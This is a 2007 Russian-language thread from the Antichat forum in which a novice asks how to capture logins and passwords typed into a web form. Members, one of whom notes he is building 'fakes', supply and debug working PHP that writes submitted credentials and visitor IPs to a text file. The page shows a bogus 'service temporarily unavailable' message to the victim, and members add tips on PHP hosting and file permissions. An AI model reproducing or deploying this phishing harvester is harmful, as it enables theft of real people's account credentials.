Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   PHP, PERL, MySQL, JavaScript (https://forum.antichat.xyz/forumdisplay.php?f=37)
-   -   Сохранение данных в файл (https://forum.antichat.xyz/showthread.php?t=35491)

saiman 14.03.2007 19:21

Сохранение данных в файл
 
Какой скрипт нужен для того, что бы при вводе loga и passa они сохранялись. И как их потом прасмотреть?

InferNo23 14.03.2007 19:27

у тебя форма для ввода логина/пасса ?

PHP код:

<html>
<form method="post">
Login:<input type="text" name="login">
Pass:<input type="password" name="pass">
</form>
<?php
if(isset($_POST["login"]) && isset($_POST["pass"])){
$z fopen("data.txt""a");
fwrite($z'Login: '.$_POST["login"]."\n");
fwrite($z'Pass: '.$_POST["pass"]."\n\n");
fclose($z);
}
?>
</html>


Isis 14.03.2007 19:41

Цитата:

Сообщение от InferNo23
у тебя форма для ввода логина/пасса ?

PHP код:

<html>
<form method="post">
Login:<input type="text" name="login">
Pass:<input type="password" name="pass">
</form>
<?php
if(isset($_POST["login"]) && isset($_POST["pass"])){
$z fopen("data.txt""a");
fwrite($z'Login: '.$_POST["login"]."\n");
fwrite($z'Pass: '.$_POST["pass"]."\n\n");
fclose($z);
}
?>
</html>


А вам взрослые не говорили что одинарные кавычки быстрее для работы скрипта, чем двойные :)

Ps: Вечером напишу статью "Все о .htaccess" =)

_Great_ 14.03.2007 20:43

никто не любит правильно называть темы? буду стабильно ставить за это минусы..

Sn@k3 14.03.2007 21:30

Цитата:

Сообщение от Isis
Ps: Вечером напишу статью "Все о .htaccess" =)

чувак юзай поиск, статья уже была на форуме

saiman 14.03.2007 21:42

А где просмотреть зарегиный log и pass?

n1†R0x 14.03.2007 21:55

Цитата:

Сообщение от saiman
А где просмотреть зарегиный log и pass?

omg
Цитата:

$z = fopen("data.txt", "a");

saiman 14.03.2007 22:19

Какую ссылку нужну лепить, что бы при нажатии зарегиться всё это сохранялось в $z = fopen("data.txt", "a");

Abra 14.03.2007 22:37

какая ссылка ты о чем? у тебя есть форма, в которую вводят данные, которые потом отсылаются на твой скрипт.
Ты не знаешь что такое форма, или параметр action? Тогда тебе надо html учить а не фейки делать, имхо.

saiman 14.03.2007 22:59

Че такое форма я знаю! Но как потом отослать данные на скрипт?

Abra 14.03.2007 23:09

<form action="www.твойсайт.ру/скрипт.php">
http://www.google.com/search?hl=en&q=учебник HTML&btnG=Google+Search

Fr-Ron 14.03.2007 23:43

Хм хм...


1) Чтобы получить из формы переменные

PHP код:

<form method = post action = [script name]>
<input type="text" name="login">
<input type="text" name="pass">
</form>

<?php
$login 
$HTTP_POST_VARS['login'];
$pass $HTTP_POST_VARS['pass'];
?>

Ну а дальше разберешься ;)

MegaDeth 15.03.2007 12:03

saiman, ты наверное имеешь ввиду отправка данных ГЕТом? тогда script.php?login=Vaysa&pass=pupkin007
и соотв. в скрипте бери данные не из массива $_POST a $_GET
PHP код:

$_GET["login"

если ты знаешь что такое форма то ты должен знать и предназначение, хм, как отослать?
PHP код:

<input type=Submit value="Send"

можеш и сам отослать запрос а не браузером, ну это обьяснять небуду учи протокол HTTP

saiman 15.03.2007 17:21

Ещё вапрос.
PHP код:

<form [COLOR=DarkRed]method = post[/COLOR] action = [script name]> 
<input type="text" name="[COLOR=DarkRed]login[/COLOR]"> 
<input type="text" name="[COLOR=DarkRed]pass[/COLOR]"> 
</form> 

<?php 
$login 
$HTTP_POST_VARS['[COLOR=DarkRed]login[/COLOR]']; 
$pass $HTTP_POST_VARS['[COLOR=DarkRed]pass[/COLOR]']; 
?>

Там где script name пишем дапустим sax, затем <form action="www.твойсайт.ру/sax.php"> Я правильно понял?

blaga 15.03.2007 17:37

если все это в одном фале то action = [script name] можно не писать.

ПОЛЬЗУЙСЯ КНОПКОЙ "КОД"!!!

r0 15.03.2007 20:08

Выбирайте относительные пути для action.
И сделайте ликбез по HTTP протоколу.

MegaDeth 15.03.2007 23:02

http://slil.ru/24085880 доки по ХТТП

DRON-ANARCHY 16.03.2007 00:12

Цитата:

Но как потом отослать данные на скрипт?
добавить <input type='submit'>

saiman 17.03.2007 19:15

У меня две страницы http://мой сайт.ru/sa.html

<html>
<head>
<title>Untitled</title>
</head>
<body>
<form action=saver.php method=post>
Login: <input type="Text" name="login" value=""><br>
Password: <input type="pass" name="pass" value="">
<input name=log.txt type=hidden value=a>
<input type="Submit" value="Проверить">
<?
$1=login;
$2=pass;
$ip=getenv("Remote_addr");
$fp=fopen("log.txt", "a");
fputs($fp, "$1\t|$2\t|$ip\n");
echo "Извините, но сервис временно не доступен!";
?>


</body>
</html>

и http://мой сайт.ru/saver.php

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">

<html>
<head>
<title>Untitled</title>
</head>
<body>
<?
$1=login;
$2=pass;
$ip=getenv("Remote_addr");
$fp=fopen("log.txt", "a");
fputs($fp, "$1\t|$2\t|$ip\n");
<input name=log.txt type=hidden value=a>
echo "Извините, но сервис временно не доступен!";
?>


</body>
</html>

Почему log и pass не сохраняются в log.txt че я нетак сделал и как исправить?

Abra 17.03.2007 19:47

наверное потому что переменная не может начинаться с цифры.

InferNo23 17.03.2007 19:55

твой sa.html:
PHP код:

<html>
<
head>
<
title>Untitled</title>
</
head>
<
body>
<
form action="saver.php" method="post">
Login: <input type="text" name="login" ><br>
Password: <input type="pass" name="pass" >
<
input type="Submit" value="Проверить">
</
body>
</
html

и saver.php
PHP код:

<html>
<head>
<title>Untitled</title>
</head>
<body>
<?php
$login 
$_POST["login"];
$pass $_POST["pass"];
$ip getenv("REMOTE_ADDR");
$fp fopen("log.txt""a");
fputs($fp"Login: $login "." Pass: $pass "." IP: $ip "."\n\n");
?>

все работает

saiman 17.03.2007 23:15

Когда я нажимаю "проверить" переходит на страницу saver.php и выдаёт (невозможно отобразить страницу) и ничё не записыват в log.txt А в log.txt никаких скриптов не надо?

nc.STRIEM 17.03.2007 23:41

тебе уже все настолько подробно разжевали, что дальше некуда!!!
мож стоит терь немного и своей головой подумать???
http://php.ru/

PS не забудь chmod 666 log.txt

Abra 18.03.2007 00:07

Цитата:

переходит на страницу saver.php и выдаёт (невозможно отобразить страницу)
ну может головой хоть немного подумаем?
залить server.php на сервер как-то не догадался?

Isis 18.03.2007 00:12

Цитата:

Сообщение от Abra
ну может головой хоть немного подумаем?
залить server.php на сервер как-то не догадался?

Не server.php, a saver.php т.к. некоторые могут не догадаться....
Смотря вообще какой экшен....

saiman 18.03.2007 11:49

В этом то и проблема! Я залил saver.php на narod.ru

Abra 18.03.2007 11:55

Цитата:

В этом то и проблема! Я залил saver.php на narod.ru
кхм
глупый вопрос - зачем? тебе сервер нужен с поддержкой пхп!

saiman 18.03.2007 12:04

А какие поддерживают?

nc.STRIEM 18.03.2007 14:09

Цитата:

Сообщение от saiman
А какие поддерживают?

https://forum.antichat.ru/thread7038.html

DRON-ANARCHY 18.03.2007 14:13

Цитата:

Сообщение от Abra
наверное потому что переменная не может начинаться с цифры.

ааааа!!!! ЧОРТ!!!!
выньте меня из пацтала))))))
Цитата:

В этом то и проблема! Я залил saver.php на narod.ru
Да вы меня убить хотите??? :D :D :D
ща сдохну))))

nc.STRIEM 18.03.2007 14:52

Тема разжована! Все дано! Автор включаем смекалку!

<closed>


Время: 03:45